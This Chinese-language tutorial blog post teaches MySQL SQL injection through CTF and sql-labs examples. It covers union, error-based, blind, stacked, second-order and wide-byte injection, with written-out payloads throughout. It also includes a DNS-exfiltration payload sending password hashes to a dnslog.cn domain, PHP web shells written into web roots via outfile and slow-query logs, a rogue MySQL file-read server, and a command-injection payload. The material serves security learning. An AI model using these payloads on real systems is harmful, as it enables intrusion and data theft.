详细|通过mysql学习sql注入

本文来自 【网络安全学习圈】圈内师傅的学习成果,已将其入圈费用返还,如果你也想一块学习,欢迎加入。圈内规划了数个月的学习内容,并提供相应的学习资源和建议,以及一个浓厚的学习氛围。(点我了解详情

产生原因

服务器将用户提交的参数错误地拼接到sql语句中打破了数据区域的边界(数字型不需要)改变了原有的sql执行逻辑,导致攻击者可以执行恶意的sql语句。

简单的例子

假设

$sql="select * from users where id='$id';"

用户提交

?id=1' and 1=1 #

拼接后的sql语句

select * from users where id='1' and 1=1 #'

要进行注入,只需要将and 1=1部分替换为其他sql语句即可。

其实分析sqlmap的注入也是如此,注入语句由prefixpayloadsuffix组成

图来源https://www.freebuf.com/column/161797.html

image-20230522131723064

漏洞危害--攻击面

  • • 拿到敏感信息,如手机号,身份证,邮箱,家庭地址等

  • • 后台账号万能密码?这年头还有吗🤔
    拿到密码,但是一般密码都是加盐再加密的了吧,需要彩虹表啥的。
    或者堆叠注入创建一个,修改一个等                       

  • • 文件任意读取

  • • Getshell

  • • RCE

  • • 提权

如何利用

信息收集

image-20230522131900429

站库分离

为什么

站库分离,所以不能通过数据库进行读写

判断方法

  • • 通用方法读取配置文件,判断IP

  • • Mysqlselect @@hostname; //服务端主机名称 select * from information_schema.PROCESSLIST; //客户端主机名称和端口

    Windows连接格式:主机名:PortLinux连接格式:IP:Port本地连接格式:localhost:Port

    image-20230522203905326

    select user();

    如果不是localhost,大概率是站库分离。

    image-20230522204233420

数据库类型

各种信息

# ifnull(@@secure_file_priv,0) secure_file_priv为空时返回0,不为空时返回其值
SELECT concat_ws(0x0a,
ifnull(@@secure_file_priv,0),
concat_ws(0xefbc8c, @@version, @@version_compile_os, @@version_compile_machine, @@version_comment),
concat_ws(0xefbc8c, @@hostname, @@port),
concat_ws(0xefbc8c, user(), database()),
concat_ws(0xefbc8c, @@datadir, @@plugin_dir, @@tmpdir, @@basedir)
)


# 结果
0
10.5.8-MariaDB-3,debian-linux-gnu,x86_64,Debian buildd-unstable
kali,3306
root@localhost
/var/lib/mysql/,/usr/lib/mysql/plugin/,/tmp,/usr

判断

注入点

一切与数据库有交互的地方,取决于后端从HTTP请求报文中提取了什么数据并拼接到sql语句中。

是否存在sql注入

  • • 字符型or数字型:fuzz闭合类型

  • • 是否有报错,是否能逃逸执行sql语句(逻辑,延时等判断)

后端语句

# 得到后端执行的sql语句
select * from test.users where id=1 union SELECT (select INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE '%673245283%' LIMIT
 1),2,3;

image-20230528210843123

Mysql注入手段

admin登入

  • • 万能密码# 后端代码Demo
    $query = "SELECT * FROM manage WHERE user='$user' and passwd='$passwd'";
    if(mysql_query($query))
    {
        echo "登陆成功";
    }
    通过布尔运算让where恒为真

    image-20230312212035948

  • • 注册覆盖

    admin (有个空格)或者 (有个空格)admin原理:用户名字段长度>5,所以可以添加空格,而sql语句执行时会将空格忽略。

    image-20230312210909402

  • • 联合查询构造临时用户[GXYCTF2019]BabySQli# 后端代码Demo
    $query = "SELECT * FROM manage WHERE user='$user'";
    $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
    $users = mysql_fetch_array($result);

    if (!mysql_num_rows($result)) {  
        echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
        exit;
    }
    else{
        $passwords=$users['password'];
        if(md5($password)<>$passwords){
        echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
        exit; 
    }
    echo "登陆成功";
    username=admin' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b' limit 1,2--+

    passwd=c4ca4238a0b923820dcc509a6f75849b

    MD5(1)=c4ca4238a0b923820dcc509a6f75849b

    image-20230312215147770

联合查询注入

原理

sql语句为select,页面有回显查询结果。

$sql="SELECT * FROM users where id=$id ";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];

payload

先通过order by等语句判断列数,再判断哪一列是输出点,最后进行注入

联合查询,获取库名
?id=-1"union select 1,2,group_concat(schema_name),3 from information_schema.schemata#

联合查询,获取表名 
?id=-1"union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'#

?id=-1"union select 1,2,group_concat(table_name) from mysql.innodb_table_stats where database_name='已知库名'#


联合查询,获取字段名
?id=-1"union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'#


联合查询,获取字段值
?id=-1"union select 1,2,group_concat(字段1,字段2...) from 已知表名#

注意:

因为后端查询语句可能只拿第一行查询结果如$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";,所以需要构造一个不存在的值如-1,使得联合查询的结果成为第一行;

要查的表的名称(这个表是不是在现在使用的数据库中,没有的话表名=数据库.表名)

堆叠注入

原理

后端使用的查询函数为mysqli_multi_query() ,支持多条语句查询

而不是mysqli_query() ,仅支持一条语句查询

局限性

  • • 并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎的影响

  • • 无回显:在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略解决方法:可以通过先将内容插入到数据库中,然后再通过查询查出来

payload

?id=1';sql语句;--+

可以任意执行sql语句,危害很大

配合handle绕过关键字

handler 表名  open ; handler 表名 read first; #打开表;读取第一条数据
handler 表名 read next;#与上一条语句一起用,读取下一条即第二条数据

【MySQL】MySQL 之 handler 的详细使用及说明[1]

配合预编译语句绕过

使用格式

set @tn = 'hahaha';  //存储表名
set @sql = concat('select * from ', @tn);  //存储SQL语句

prepare query from @sql;   //预定义SQL语句

execute query;  //执行预定义SQL语句

(DEALLOCATE || DROP) prepare sqla;  //删除预定义SQL语句

例题

[SUCTF 2018]MultiSQL

set @sql=select '<?php eval($_POST[khaz]);?>' into outfile '/var/www/html/favicon/shell3.php';prepare name from @sql;execute name;

转换脚本

a = "select '<?php eval($_POST[khaz]);?>' into outfile '/var/www/html/favicon/shell3.php'"
b = []
for i in a:
    b.append(str(ord(i)))
c=','.join(b)
res = 'char({})'.format(c)
print(res)

payload

set @sql=char(117,112,100,97,116,101,32,115,99,111,114,101,32,115,101,116,32,108,105,115,116,101,110,61,50,48,48);prepare query from @sql;execute query;

报错注入

原理

使用mysql_error()函数,可以返回上一个Mysql操作产生的文本错误信息。

<?php
$con = mysql_connect("localhost","wrong_user","wrong_pwd");
if (!$con)
{
  die(mysql_error());
}
>>
Access denied for user 'wrong_user'@'localhost'
(using password: YES)

类型

最常用的

# Xpat语法错误,报错信息是有长度限制的,最大长度限制32位,配合substr()等截取字符串函数使用
select extractvalue(1,concat(0x7e,(select user()),0x7e));
select updatexml(1,concat(0x7e,(select user()),0x7e),1);

image-20230523184243091

其他MySQL报错注入 [2]

payload

原型:
?id=1"or(updatexml(1,concat(0x7e,(),0x7e),1))--+

爆库:
?id=1"or(updatexml(1,concat(0x7e,(select(substr(group_concat(schema_name),1,32))from (information_schema.schemata)),0x7e),1))--+

 
爆表:
id=1"or(updatexml(1,concat(0x7e,(select(substr(group_concat(table_name),1,32))from (information_schema.tables)where(table_schema='已知库名')),0x7e),1))--+



爆列名:
id=1"or(updatexml(1,concat(0x7e,(select( substr(group_concat(column_name),1,32)))from(information_schema.columns)where(table_name='flag'))),1))--+


爆字段值
id=1"or(updatexml(1,concat(0x7e,(select( substr(group_concat(real_flag_1s_here),1,6)))from(users))),1))--+

二次注入--存储型注入

原理

ctf1

常见转义函数

addslashes()
mysql_escape_string()

sql-labs Less-24为例

创建用户

$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

使用不恰当的函数mysql_escape_string,功能为在 MySQL 中具有特殊含义的字符(如单引号、双引号、反斜杠和空字节)前添加反斜杠字符。所以脏数据还是进入到了数据库中。

修改密码处

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

直接将脏数据取出并拼接到sql语句中,造成了sql注入。

常见场景

将保存的脏数据从数据库中取出,再次进行sql操作的场景。

修改密码
修改订单
总之就是修改已保存信息的地方

例题

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

$address = addslashes($_POST["address"]);#可控变量

$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";#将$_POST["address"]保存到数据库中

$row = $fetch->fetch_assoc();#$row保存sql语句查询结果

$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];#调用了查询结果

分析上面两条语句,对可控参数address只进行了转义处理,就保存到数据库中。

并且在update中引用了$row['address'],所以在这里存在二次注入。

可以看到列名为old_address,在进行修改时,会将旧地址保存下来,所以我们只要在第一次修改时,在address处注入恶意代码,第二次修改查询旧地址时就会执行恶意代码。

payload

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)# 

盲注--无回显注入

推荐阅读:https://www.anquanke.com/post/id/266244

布尔盲注

页面无数据回显,但是有两种返回状态

?id=1' and 1=1 --+  # True
?id=1' and 1=2 --+  # False

实际

?id=1' and 1=子查询 --+  

子查询=字符串截取+比较

绕过

and 1=

逻辑连接符payload
or ,||
异或xor,^
按位与/或&,|

字符串截取

# 从start位置开始,截取len个字符
substr(string,start,len)
mid(string,start,len)

# 从左/右截取len个字符
left(string,len)
right(string,len)

比较

like binary 0x25{}{}25

image-20230505230426015

因为大小写不敏感,所以要用binary

BINARY将16进制转化为字符串

语法

like正则
_.
%.*
[][]
[^][^]
regexp "^a"
regexp "^ab"

时间盲注

时间盲注就是在布尔盲注上加了延迟时间函数sleep(),用在True和False回显难以区分时,通过页面的响应时间来判断布尔逻辑的正确与否。

payload

if(布尔,A,B)与三目运算符逻辑一样,加上sleep函数

sleep(if(布尔,A,B))布尔正确,延迟A秒,布尔错误,延迟B秒

或者 if(布尔,1,sleep(x))布尔正确,无延迟,布尔错误,延迟x秒

image-20230312232840696

绕过

能造成延时效果的语句

# 通过执行多次命令形成延时
benchmark(执行次数,sql语句)

# 查询一些数据量比较大的表做笛卡尔集运算,导致查询缓慢
select * from tab1 cross join tab2;
select * from tab1,tab2;

脚本

盲注都是需要脚本的,或者用sqlmap

DNS外带注入

推荐阅读:Dnslog在SQL注入中的实战-安全客 - 安全资讯平台[3]

原理

  1. 1. MySQL Load_File()函数可以发起请求,使用Dnslog接收请求,获取数据;

  2. 2. windows下存在UNC路径

    UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。

    \\xxxx\xx

    image-20230425175525555

    image-20230425175452805

使用条件

  • • windows系统

  • • secure_file_priv为空

payload

union select 1,2,load_file(CONCAT('\\\\',(SELECT hex(passwd) FROM users WHERE username='admin' LIMIT 1),'.mysql.2fzz61.dnslog.cn\\abc'))

-- Hex编码的目的是减少干扰,域名有一定的规范,有些特殊字符不能带入
-- \\\\转义  →  \\

SMB外带注入

http://www.moonslow.com/article/smb_sql_injection

宽字节注入

原理

From:https://cloud.tencent.com/developer/article/1938545

宽字节:如果一个字符的大小是两个字节的,该字符称为宽字节字符

PHPMysql之间的交互

img

将php的sql语句以character_set_client编码(也就是转为16进制数),再将16进制数以character_set_connection进行编码(也就是转换为url编码),然后以内部操作字符集进行url解码,最后以character_set_results编码输出结果。

%df%27 浏览器url自动解码===> β' 转义===>β\'转为16进制===> 0xdf0x5c0x27 转换为url编码===> %df%5c%27 进行url解码(因为是GBK编码,%df和%5c结合为汉字)===> 運'

例题

sql-lab less-32

转义字符

image-20230522170722857

设置编码集

image-20230522170750335

sql语句,单引号闭合

image-20230522171701503

?id=1%27

image-20230522171728569

?id=1%df%27

image-20230522171841053

payload

?id=1%df'

使用 Linux 自带的 iconv 命令进行 UTF 的编码转换

echo \'|iconv -f utf-8 -t utf-16
echo \'|iconv -f utf-8 -t utf-32

image-20230523121013028

?id=1�'

image-20230523121159948

order by 注入

https://www.cnblogs.com/1ink/p/15107674.html

Getshell

写文件

条件

  • • 高权限select user, file_priv from mysql.user; 

    image-20230528210141344

  • • 知道网站的绝对路径

  • • secure_fil_privselect @@secure_file_priv;
    show global variables like '%secure_file_priv%'; # show语句要堆叠注入和回显

image-20230522174929267

payload

基于联合查询

select *from users where id=1 union select 1,'<?php phpinfo();?>',3 into outfile 'C:\info.php';

select *from users where id=1 union select 1,'<?php phpinfo();?>',3 into  dumpfile 'C:\info2.php';

outfiledumpfile的区别

  • • outfile导出数据支持多行,dumpfile只支持一行

  • • outfile会对数据进行转义,dumpfile不会

所以使用into dumpfile这个函数来写入二进制文件

image-20230522180009679

非联合查询

select *from users where id=1 into outfile 'C:\info.php' fields terminated by '<?php phpinfo();?>';

select *from users where id=1 into outfile 'C:\info2.php' lines terminated by '<?php phpinfo();?>';

image-20230522180543767

写入日志文件

# --查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)
show variables like '%general%';

set global general_log = on;

set global general_log_file = 'e:\info.php'; # 这里日志创建权限要低一些,不能在c盘创建

select '<?php phpinfo();?>';

--结束后,痕迹清理

日志慢查询

From:https://wiki.wgpsec.org/knowledge/web/mysql-write-shell.html

为什么要用慢查询写呢?因为开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错

show variables like '%slow_query_log%';  --查看慢查询信息
set global slow_query_log=1;    --启用慢查询日志(默认禁用)
set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php'; --修改日志文件路径

show global variables like '%long_query_time%';
--查看默认时间值,当sql语句执行时间超过该值才会被计入日志中,默认10秒

select '<?php @eval($_POST[abc]);?>' or sleep(@@long_query_time+1); --写shell到慢查询日志

image-20230522182142555

sqlmap --os-shell

  • • 大致流程获取目标信息→使用lines terminated by将具有文件上传的🐎上传到网站→逐级目录访问找到🐎

    →通过该🐎上传真正的命令🐎→测试命令🐎能否执行→删除上传的两个🐎

  • • 文件上传🐎:form表单

  • • php命令马:获得disable_function,遍历所有代码执行,命令执行函数,判断哪一个不在disable_function

读文件

LOAD DATA LOCAL---任意读取

脚本

https://github.com/allyshka/Rogue-MySql-Server

原理和攻击思路

CSS-T | Mysql Client 任意文件读取攻击链拓展[4]

文件读取Phar文件,造成php反序列化

条件

  • • 客户端必须启用LOCAL-INFILE 连接时参数--local-infile=OFF 可以修复,或者更改全局变量local_infile(我在5.7下参数可以,更改全局变量不行??)

  • • 客户端支持非SSL连接连接时参数--ssl-mode=VERIFY_IDENTITY 可以修复

  • • 目标web存在连接数据库的功能数据库弱口令扫描,连接检查
    网站重装漏洞(需要连接数据库)
    数据迁移服务
    Excle从数据库中同步数据到表格内

实验环境

客户端与服务端的mysql都是5.7版本

mysql5.7默认开启

image-20230523163445312

注:一开始使用服务端使用8版本不行

攻击者(服务端)起脚本

image-20230523162503899

image-20230523162623757

受害者连接

image-20230523162534773

攻击者查看mysql.log

image-20230523162727437

load_file

注意:转义字符

select load_file('e:\test.txt'); # \t 错误路径
select load_file('e:\\test.txt');# 正确
select load_file(0x653A5C746573742E747874);# 支持十六进制
select load_file(char(101,58,92,116,101,115,116,46,116,120,116));# 支持char函数

image-20230523134023401

load data

create table user(cmd text)
load data infile 'e:/test.txt' into table user;
select * from user;

image-20230523134532606

image-20230522220456619

mysqldump

shell下执行

mysqldump -uroot -proot --all-databases > file_path  # 导出所有数据库
mysqldump -uroot -proot --databases db1 --tables a1 a2  > /file_path # 导出db1中的a1、a2表

导出的文本内容

创建数据库判断语句-删除表-创建表-锁表-禁用索引-插入数据-启用索引-解锁表

image-20230528204837541

例题

CISCN2023初赛--dumpit

关键代码

$black = ';`*#^$&|';  #黑名单

$db=$_GET['db'];
$t2d=$_GET['table_2_dump'];
$randstr = md5(time());

$dump='mariadb-dump '.$db.' '.$t2d.' >./log/'.$randstr.'.log';
system($dump);

db和table都可控,过滤不严谨,并且直接拼接到命令中,造成RCE

payload

?db=ctf&table_2_dump=flag2 %0d%0a cmd

提权

国光师傅✍的太好辣,等到后面学习windows提权再复现吧😋

https://www.sqlsec.com/2020/11/mysql.html

Linux的Mysql--好像没用

help查看mysql帮助

image-20230522205545396

假想:如果存在堆叠注入,就可以以当前数据库用户权限任意命令执行

image-20230522205812501

测试了一下好像不行

image-20230522223047561

并且此方法只能在本地读取,远程连接mysql时使用system,实际上还是在原来的主机上执行命令。

kali连接远程mysql,system uname -a

引用链接

[1] 【MySQL】MySQL 之 handler 的详细使用及说明: https://blog.csdn.net/qq_43427482/article/details/109898934
[2] MySQL报错注入 : https://hatboy.github.io/2018/08/28/MySQL报错注入/
[3] Dnslog在SQL注入中的实战-安全客 - 安全资讯平台: https://www.anquanke.com/post/id/98096
[4] CSS-T | Mysql Client 任意文件读取攻击链拓展: https://paper.seebug.org/1112/
[5] mysql 8.0.21以上版本的新特性: https://blog.csdn.net/rfrder/article/details/118726022
[6] 奇安信攻防社区-SQL注入&预编译: https://forum.butian.net/share/1559
[7] PDO场景下的SQL注入探究 - 先知社区: https://xz.aliyun.com/t/3950
[8] ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析 | 离别歌: https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
[9] sqlmap 项目剖析1: https://www.anquanke.com/post/id/262848
[10] sqlmap 项目剖析2: https://www.anquanke.com/post/id/262847
[11] sqlmap 项目剖析3: https://www.anquanke.com/post/id/262849
[12] sqlmap 项目剖析4: https://www.anquanke.com/post/id/262850
[13] sqlmap源码分析与学习: https://www.beysec.com/security/sqlmap-source-1.html
[14] sqlmap 流程脑图: https://www.processon.com/view/5835511ce4b0620292bd7285
[15] sqlmap --os-shell原理: https://xz.aliyun.com/t/7942
[16] 实战sqlmap绕过WAF: https://xz.aliyun.com/t/10385
[17] sqlmap --os-shell反制小思路: https://www.anquanke.com/post/id/261915

技术交流

知识星球

致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。

涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 300+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。

交流群

关注公众号回复“加群”,添加Z2OBot好友,自动拉你加入Z2O安全攻防交流群(微信群)分享更多好东西。(QQ群可直接扫码添加)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值